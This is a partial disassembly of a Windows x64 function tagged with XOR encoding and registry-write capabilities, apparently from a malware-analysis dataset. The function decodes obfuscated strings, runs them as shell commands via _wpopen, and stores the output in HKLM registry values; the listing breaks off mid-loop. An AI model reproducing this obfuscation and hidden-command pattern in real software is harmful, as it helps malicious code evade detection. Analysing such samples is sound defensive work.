Function at 0x14009d000
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x688]
sub rsp, 0x770
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x14018d080]
xor rax, rsp
mov qword [rbp + 0x640], rax
movups xmm0, xmmword [0x140171630]
xor r14d, r14d
movups xmm1, xmmword [0x140171640]
mov r8d, r14d
mov esi, dword [reloc.WS2_32.dll_accept]
mov eax, dword [0x140171670]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x140171650]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x140171660]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], eax
cmp esi, 2
jl 0x14009d1a9
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rbp - 0x50]
movdqa xmm4, xmmword [0x140177230]
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009d0b0
cmp r8d, 0x22
jge 0x14009d1f9
movsxd rax, r8d
lea r9, [rbp - 0x50]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x22
jl 0x14009d1c0
movsd xmm0, qword [0x140171558]
mov ecx, 0x44
movzx eax, word [0x140171560]
xor edx, edx
movsd qword [rbp + 8], xmm0
xor ax, 0x37
xor word [rbp + 0xa], 0x34
mov r8d, 0x200
xor word [rbp + 0xc], 0x35
xor word [rbp + 0xe], 0x36
mov word [rbp + 8], cx
lea rcx, [rbp + 0x240]
mov word [rbp + 0x10], ax
call fcn.140149be4
cmp word [reloc.WS2_32.dll_gethostbyname], r14w
lea rdx, [rbp + 0x40]
mov eax, dword [0x1401714b8]
mov r15d, WSAStartup
mov dword [rsp + 0x50], eax
lea rax, [0x1401724a0]
lea ecx, [r15 - 0x70]
je 0x14009d2e0
xor word [rsp + 0x52], 0x34
mov word [rsp + 0x50], r15w
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x14009d280
jmp 0x14009d333
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x14009d2e0
movzx ecx, word [rax + 0x30]
mov r8d, r14d
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov word [rdx + 0x30], cx
cmp esi, 2
jl 0x14009d480
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rbp + 0x40]
movdqa xmm4, xmmword [0x140177230]
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x98
jl 0x14009d381
cmp r8d, 0x99
jge 0x14009d4cc
movsxd rax, r8d
lea r9, [rbp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x99
jl 0x14009d490
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rdi, rax
mov rbx, 0xffffffffffffffff
test rax, rax
je 0x14009d5e1
mov r8, rax
lea rcx, [rbp + 0x240]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x14009d5d8
movzx eax, word [rbp + 0x240]
lea rcx, [rbp + 0x240]
test ax, ax
je 0x14009d54f
movabs rdx, 0x100002400
nop dword [rax]
cmp ax, 0x20
ja 0x14009d53c
bt rdx, rax
jb 0x14009d54b
movzx eax, word [rcx + 2]
add rcx, 2
test ax, ax
jne 0x14009d530
jmp 0x14009d54f
mov word [rcx], r14w
mov qword [rsp + 0x40], r14
lea rax, [rbp]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14009d5d8
lea rcx, [rbp + 0x240]
mov rax, rbx
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009d594
mov rcx, qword [rbp]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp + 8]
lea rax, [rbp + 0x240]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
movups xmm0, xmmword [0x140171630]
mov r8d, r14d
movups xmm1, xmmword [0x140171640]
mov eax, dword [0x140171670]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140171650]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140171660]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], eax
cmp esi, 2
jl 0x14009d749
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140177230]
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009d650
cmp r8d, 0x22
jge 0x14009d799
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x22
jl 0x14009d760
cmp word [reloc.WLDAP32.dll_Ordinal_60], r14w
movups xmm0, xmmword [0x140171d08]
mov eax, dword [0x140171d18]
mov dword [rbp + 0x28], eax
movups xmmword [rbp + 0x18], xmm0
je 0x14009d7ed
xor word [rbp + 0x1a], 0x34
mov eax, 0x42
xor word [rbp + 0x1c], 0x35
xor word [rbp + 0x1e], 0x36
xor word [rbp + 0x20], 0x37
xor word [rbp + 0x22], 0x38
xor word [rbp + 0x24], 0x39
xor word [rbp + 0x26], 0x3a
xor word [rbp + 0x28], 0x3b
xor word [rbp + 0x2a], 0x3c
mov word [rbp + 0x18], ax
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x200
call fcn.140149be4
cmp word [reloc.WS2_32.dll_gethostbyname], r14w
movups xmm0, xmmword [0x140172430]
mov eax, dword [0x1401714b8]
movups xmm1, xmmword [0x140172440]
mov dword [rsp + 0x50], eax
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x140172450]
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm0
je 0x14009d83f
xor word [rsp + 0x52], 0x34
mov word [rsp + 0x50], r15w
cmp esi, 2
jl 0x14009d961
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rbp - 0x50]
movdqa xmm4, xmmword [0x140177230]
mov edx, r14d
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x18
jl 0x14009d870
jmp 0x14009d9a9
lea r9, [rbp - 0x50]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x18
jl 0x14009d970
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rdi, rax
test rax, rax
je 0x14009daba
mov r8, rax
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
mov r8, rdi
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x14009dab1
lea rcx, [rbp + 0x40]
mov rax, rbx
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009da00
lea rax, [rax*2 - 2]
cmp rax, 0x200
jae 0x14009eedc
mov qword [rsp + 0x40], r14
lea rdx, [rsp + 0x60]
mov word [rbp + rax + 0x40], r14w
xor r9d, r9d
lea rax, [rbp]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14009dab1
lea rcx, [rbp + 0x40]
mov rax, rbx
nop dword [rax]
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009da70
mov rcx, qword [rbp]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp + 0x18]
lea rax, [rbp + 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
movups xmm0, xmmword [0x140171630]
mov r8d, r14d
movups xmm1, xmmword [0x140171640]
mov eax, dword [0x140171670]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140171650]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140171660]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], eax
cmp esi, 2
jl 0x14009dc1b
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140177230]
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009db22
cmp r8d, 0x22
jge 0x14009dc69
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x22
jl 0x14009dc30
cmp word [0x140172116], r14w
movups xmm7, xmmword [str.qUFSUWXH_os_]
movsd xmm0, qword [0x140172110]
movups xmmword [rbp + 0x18], xmm7
movsd qword [rbp + 0x28], xmm0
je 0x14009ddd9
mov r8d, r14d
cmp esi, 2
jl 0x14009dd8a
movdqa xmm2, xmmword [0x140176ee0]
mov r8d, 8
movdqa xmm4, xmmword [0x140177230]
movdqa xmm1, xmm2
movdqa xmm6, xmmword [str.333333335555555599999999]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm7
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x140176f00]
xorps xmm3, xmm1
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movq qword [rbp + 0x18], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x20]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp + 0x20], xmm3
movsxd rax, r8d
lea r9, [rbp + 0x18]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0xc
jl 0x14009dda0
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x200
call fcn.140149be4
cmp word [reloc.WS2_32.dll_gethostbyname], r14w
movups xmm0, xmmword [0x140171570]
movups xmm1, xmmword [0x140171580]
mov eax, dword [0x1401714b8]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x140171590]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x1401715a0]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
mov dword [rsp + 0x50], eax
je 0x14009de36
xor word [rsp + 0x52], 0x34
mov word [rsp + 0x50], r15w
cmp esi, 2
jl 0x14009df61
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rbp - 0x50]
movdqa xmm4, xmmword [0x140177230]
mov edx, r14d
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x20
jl 0x14009de70
jmp 0x14009dfa9
lea r9, [rbp - 0x50]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x20
jl 0x14009df70
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rdi, rax
test rax, rax
je 0x14009e0ba
mov r8, rax
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
mov r8, rdi
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x14009e0b1
lea rcx, [rbp + 0x40]
mov rax, rbx
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009e000
lea rax, [rax*2 - 2]
cmp rax, 0x200
jae 0x14009eee2
mov qword [rsp + 0x40], r14
lea rdx, [rsp + 0x60]
mov word [rbp + rax + 0x40], r14w
xor r9d, r9d
lea rax, [rbp]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14009e0b1
lea rcx, [rbp + 0x40]
mov rax, rbx
nop dword [rax]
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009e070
mov rcx, qword [rbp]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp + 0x18]
lea rax, [rbp + 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
movups xmm0, xmmword [0x140171630]
mov r8d, r14d
movups xmm1, xmmword [0x140171640]
mov eax, dword [0x140171670]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140171650]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140171660]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], eax
cmp esi, 2
jl 0x14009e21b
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140177230]
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
